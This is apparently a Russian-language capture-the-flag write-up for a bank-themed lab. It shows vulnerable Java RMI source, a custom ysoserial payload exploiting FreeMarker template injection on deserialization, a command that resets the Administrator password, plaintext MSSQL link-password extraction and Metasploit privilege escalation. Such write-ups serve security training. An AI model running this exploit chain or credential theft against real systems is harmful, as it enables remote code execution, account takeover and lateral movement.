# Transaction Zone
## Описание
У нас мало времени. В банке начали что-то подозревать, поэтому, как получишь доступ к какой-то машине, присылай нам ip-адрес. Наша команда OSINT нашла исходный код от какого-то продукта банка, может быть тебе пригодится. Исходный код расположен по [ссылке](https://dropmefiles.com/lqr6k).
Содержимое файла `TransactionPool.java`
```Java
package ru.bank.currency;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
public class TransactionPool implements Serializable {
private static final long serialVersionUID = 0L;
protected static final Logger LOGGER = LoggerFactory.getLogger(TransactionPool.class);
private ArrayList<Transaction> transactions;
public TransactionPool() {
this.transactions = new ArrayList<Transaction>();
}
public TransactionPool(ArrayList<Transaction> transactions) {
this.transactions = transactions;
}
public TransactionPool(Transaction transactions) {
this.transactions = new ArrayList<Transaction>();
this.transactions.add(transactions);
}
private class Transaction implements Serializable {
public Transaction() {
}
public int receiverid;
public int senderid;
public double amount;
private String comment;
@Override
public String toString() {
String templateStr = "Transaction: " +
"receiver: ${trans.receiverid!} " +
"amount: ${trans.amount!} " +
"sender: ${trans.senderid!} " +
"amount: ${trans.amount!} " +
"comment: " + this.comment;
Map<String, Object> data = new HashMap<String, Object>();
data.put("trans", this);
Template template;
try {
template = new Template("Transaction", new StringReader(templateStr),
new Configuration());
} catch (IOException e) {
throw new RuntimeException(e);
}
StringWriter result = new StringWriter();
try {
template.process(data, result);
} catch (TemplateException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
return result.toString();
}
}
private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {
ois.defaultReadObject();
LOGGER.info(this.transactions.toString()); // Logger req
}
}
```
Содержимое файла `TransactionPoolInterface.java`
```Java
public interface TransactionPoolInterface extends Remote {
String addTransactionPool(Object transactionPool) throws RemoteException;
}
```
## Краткое описание уязвимостей
На одном из серверов доступен RMI-сервис с уязвимостью десериализации класса, в методе `toString()` которого используется `freemarker` для шаблона строки. Он подвержен атаке SSTI. Далее после получения RCE необходимо повысить привелегии через Link на другом сервере.
# Решение
## Исследование сервера
Полученные файлы являются частью RMI-сервера. Один из файлов показывает сигнатуру метода `addTransactionPool`, что позволяет его использовать.
С использованием [Remote Method Guesser](https://github.com/qtc-de/remote-method-guesser) можно подтвердить наличие интерфейса из файла.
![RMG Enum](https://i.imgur.com/UP0FD3o.png)
Уязвимость можно обнаружить в исходном коде класса `Transaction`, а именно SSTI в методе `toString()` с использованием поля `comment`. Метод `readObject()` вызывается при каждой десериализации объекта. В этом методе реализовано логгирование объектов, формат которых и обозначен в `toString()` класса `Transaction`.
## Подготовка эксплоита и исполнение
Чтобы использовать уязвимость можно написать собственный модуль для [ysoserial](https://github.com/frohoff/ysoserial), который будет создавать необходимый объект для эксплуатации.
```Java
package ysoserial.payloads;
import ru.bank.currency.TransactionPool;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.util.ArrayList;
@SuppressWarnings({"rawtypes", "unchecked"})
public class TestCase extends PayloadRunner implements ObjectPayload<Object>, Serializable {
public Object getObject(final String command) throws Exception {
TransactionPool badtrans = new TransactionPool();
Class<?> c = TransactionPool.class.getDeclaredClasses()[0];
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
final Object badtran = constructor.newInstance(badtrans);
Reflections.setFieldValue(badtran, "comment", "${\"freemarker.template.utility.Execute\"?new()(\""+ command +"\")}");
ArrayList<Object> payload = new ArrayList<Object>();
payload.add(badtran);
Reflections.setFieldValue(badtrans, "transactions", payload);
return badtrans;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(TestCase.class, args);
}
}
```
Необходимо скомпилировать JAR-файл для работы с `RMG`, после чего запустить эксплоит следующей командой:
`java -jar rmg.jar serial <host> 1099 TestCase 'net user administrator 1qaz@WSX' --signature 'String addTransactionPool(Object paramObject)' --bound-name TransactionPool --yso <jar-location> `
![RMG Serial](https://i.imgur.com/eh4AAHg.png)
Пароль учетной записи `Administrator` будет изменен, что позволит подключиться к хосту по RDP.
![FLAG RDP](https://i.imgur.com/TcKYoP5.png)
Выясняем, что на сервере есть СУБД MSSQL и настроен Link на соседний сервер. Скачаем Get-MSSQLLinkPasswords.psm1 и получим пароль учетной записи, от которой работает Link в открытом виде.
![](https://i.imgur.com/WLbRRmO.png)
Данная учетная запись не имеет прав SysDBA на удаленном сервере MSSQL, однако стоит проверить варианты повышения привилегий.
С помощью модуля admin/mssql/mssql_escalate_dbowner в MSF можем проверить наличие привилегий db_owner и повысить привилегии в системе.
![](https://i.imgur.com/h6VCUCq.png)
Отлично, теперь можем проверить свои привилегии в системе. При желании можно получить reverse shell и сделать privesc, как это было в офисе SPB.
![](https://i.imgur.com/tpNlhQ1.png)
Но на самом деле, можно просто прочитать флаг в описании пользователя flag.
![](https://i.imgur.com/HzGuRiU.png)